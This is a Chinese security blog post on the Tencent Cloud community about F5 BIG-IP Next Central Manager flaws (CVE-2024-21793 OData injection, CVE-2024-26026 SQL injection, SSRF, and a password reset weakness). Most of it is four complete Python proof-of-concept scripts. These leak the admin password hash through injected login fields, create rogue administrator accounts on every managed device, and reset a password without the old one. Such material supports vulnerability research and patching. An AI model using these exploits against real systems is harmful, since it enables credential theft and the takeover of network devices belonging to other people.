前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-21793|F5 BIG-IP Next Central Manager存在多个安全漏洞(POC)

CVE-2024-21793|F5 BIG-IP Next Central Manager存在多个安全漏洞(POC)

作者头像
信安百科
发布2024-05-14 18:00:32
1170
发布2024-05-14 18:00:32
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

F5 的 Next Central Manager 是 BIG-IP Next 机群所有生命周期任务的集中控制点,该工具为企业提供了一个统一的管理用户界面,用于管理应用程序可用性、访问控制和安全解决方案。

0x01 漏洞描述

CVE-2024-21793:BIG-IP Next Central Manager OData注入漏洞,存在于Central Manager处理OData查询的方式中,可能导致未经身份验证的攻击者注入OData查询过滤器参数,从而获取敏感信息,如管理员密码哈希等。

CVE-2024-26026:BIG-IP Next Central Manager SQL注入漏洞,未经身份验证的攻击者可将恶意SQL查询注入数据库查询的输入字段或参数中,从而可能导致未授权访问、数据泄露和系统接管等。

其他:SSRF漏洞

其他:管理员密码重置漏洞

0x02 CVE编号

CVE-2024-21793

CVE-2024-26026

0x03 影响版本

BIG-IP Next Central Manager 20.x :20.0.1 - 20.1.0

0x04 漏洞详情

CVE-2024-21793 POC:

代码语言:javascript
复制
import string

import requests
import urllib3
import argparse

urllib3.disable_warnings()


def leak_hash(target: str, target_user: str = "admin"):
   URL = f"{target}/api/login"

   charset = string.digits + string.ascii_letters + '/.$'

   current_guess = ''

   while True:
       guessed = False
       for guess in charset:
           full_guess = current_guess + guess
           stuff = requests.post(URL, json={
               "username": f"fakeuser' or 'username' eq '{target_user}' and startswith('password','{full_guess}') or 'username' eq '1",
               "password": "password",
               "provider_type": "LDAP",
               "provider_name": "LDAP"
          }, verify=False).json()
           if stuff["status"] == 500:
               guessed = True
               current_guess += guess
               print("[+]", current_guess)
               break
       if not guessed:
           break


if __name__ == '__main__':
   parser = argparse.ArgumentParser(description='Leak the admin password hash')
   parser.add_argument('target', type=str, help='The target URL')
   parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
   args = parser.parse_args()
   leak_hash(args.target, args.target_user)

CVE-2024-26026 POC:

代码语言:javascript
复制
import string

import requests
import urllib3
import argparse

urllib3.disable_warnings()

def encode_string(s: str) -> str:
   return ",".join([f"chr({ord(c)})" for c in s])

def leak_hash(target: str, target_user: str = "admin"):
   charset = string.digits + string.ascii_letters + '/.$'
   encoded_user = encode_string(target_user)

   URL = f"{target}/api/login"
   current_guess = ''
   while True:
       guessed = False
       for guess in charset:
           full_guess = encode_string(current_guess + guess + '%')
           stuff = requests.post(URL, json={
               "username": "fake_user",
               "password": "password",
               "provider_type": "LDAP",
               "provider_name": f"LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"
          }, verify=False).json()
           if "root distinguished name is required" in stuff["message"]:
               guessed = True
               current_guess += guess
               print("[+]", current_guess)
               break
       if not guessed:
           break

if __name__ == '__main__':
   parser = argparse.ArgumentParser(description='Leak the admin password hash')
   parser.add_argument('target', type=str, help='The target URL')
   parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
   args = parser.parse_args()
   leak_hash(args.target, args.target_user)

SSRF漏洞

POC:

代码语言:javascript
复制
import base64
import random
 
import requests
import urllib3
import argparse
 
urllib3.disable_warnings()
 
USERNAME_TO_MAKE = "admin" + str(random.randint(100, 100000000))
PASSWORD_TO_SET = "adminadminadmin"
 
# noinspection RequestsNoVerify
def login(username: str, password: str, target: str) -> dict:
    path = '/api/login'
    return requests.post(target + path, json={"username": username, "password": password}, verify=False).json()
 
# noinspection RequestsNoVerify
def get_devices(access_token: str, target: str) -> dict:
    path = '/api/device/v1/summary?limit=50&page=1&select=address,certificate_validated,certificate_validity,certificate_validation_error,id,hostname,mode,platform_type,task_summary,version'
    return requests.get(target + path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()['_embedded']['devices']
 
# noinspection RequestsNoVerify
def get_device_info(access_token: str, device_id: str, target: str) -> dict:
    path = f'/api/device/v1/proxy/{device_id}?path=/systems'
    return requests.get(target + path, headers={"Authorization": f"Bearer {access_token}"}, verify=False).json()
 
# noinspection RequestsNoVerify
def make_device_user(access_token: str, device_id: str, username: str, password: str, ips: list[str], target: str):
    path = f'/api/device/v1/proxy/{device_id}?path=/users'
    temp_password = "adminadmin"
    requests.put(target + path, headers={"Authorization": f"Bearer {access_token}"}, verify=False, json={
        "username": username,
        "password": temp_password,
        "role": "administrator"
    }).json()
    auth_header = base64.b64encode(f"{username}:{temp_password}".encode()).decode()
    for ip in ips:
        print("This should be empty or whitespace: ", requests.put(f"https://{ip}:5443/api/v1/me", headers={"Authorization": f"Basic {auth_header}"}, verify=False, json={
            "newPassword": password,
            "currentPassword": temp_password,
        }).text)
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Make a user on all devices')
    parser.add_argument('username', type=str, help='The username to login with')
    parser.add_argument('password', type=str, help='The password to login with')
    parser.add_argument('instance', type=str, help='The instance to login to')
    args = parser.parse_args()
 
    USERNAME = args.username
    PASSWORD = args.password
    INSTANCE = args.instance
 
    print(f"Attempting to make a user on all devices managed by {INSTANCE}")
 
    tokens = login(USERNAME, PASSWORD, INSTANCE)
 
    devices = get_devices(tokens['access_token'], INSTANCE)
 
    for device in devices:
        device_id = device['id']
        device_info = get_device_info(tokens['access_token'], device['id'], INSTANCE)['_embedded']['systems'][0]
        management_ips = [x.split('/')[0] for x in device_info['managementIps']]
        print(f"Trying to make user {USERNAME_TO_MAKE}:{PASSWORD_TO_SET} on device with IPs:", management_ips)
        make_device_user(tokens['access_token'], device_id, USERNAME_TO_MAKE, PASSWORD_TO_SET, management_ips, INSTANCE)
        print("If it worked, you should now have an API user. Device login test: ")
        # noinspection RequestsNoVerify
        print(requests.get(f"https://{management_ips[0]}:5443/api/v1/login", headers={
            'Authorization': "Basic " + base64.b64encode(f"{USERNAME_TO_MAKE}:{PASSWORD_TO_SET}".encode()).decode()
        }, verify=False).text)

管理员密码重置漏洞

POC:

代码语言:javascript
复制
import requests
import urllib3
 
urllib3.disable_warnings()
 
BASE_URL = 'https://instance'
USERNAME = 'admin'
PASSWORD = 'current_password'
NEW_PASSWORD = 'Gc8&7j@oWF!s'
 
# noinspection RequestsNoVerify
def login(username: str, password: str) -> dict:
    path = '/api/login'
    return requests.post(BASE_URL + path, json={"username": username, "password": password}, verify=False).json()
 
# noinspection RequestsNoVerify
def reset(access_token: str, username: str):
    body = {
        "username": username,
        "temporary_password": NEW_PASSWORD
    }
    return requests.post(BASE_URL + '/api/system/v1/users/reset-password', headers={"Authorization": f"Bearer {access_token}"}, verify=False, json=body).text
 
# This simulates a logged-in user
tokens = login(USERNAME, PASSWORD)
 
# This resets the password w/o the previous one (using just a session)
print(reset(tokens['access_token'], USERNAME))
print(f"Now go to the instance and login with {NEW_PASSWORD} as the password.")

0x05 参考链接

https://my.f5.com/manage/s/article/K000138733

https://my.f5.com/manage/s/article/K000138732

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-05-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 其他:管理员密码重置漏洞
  • CVE-2024-21793 POC:
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档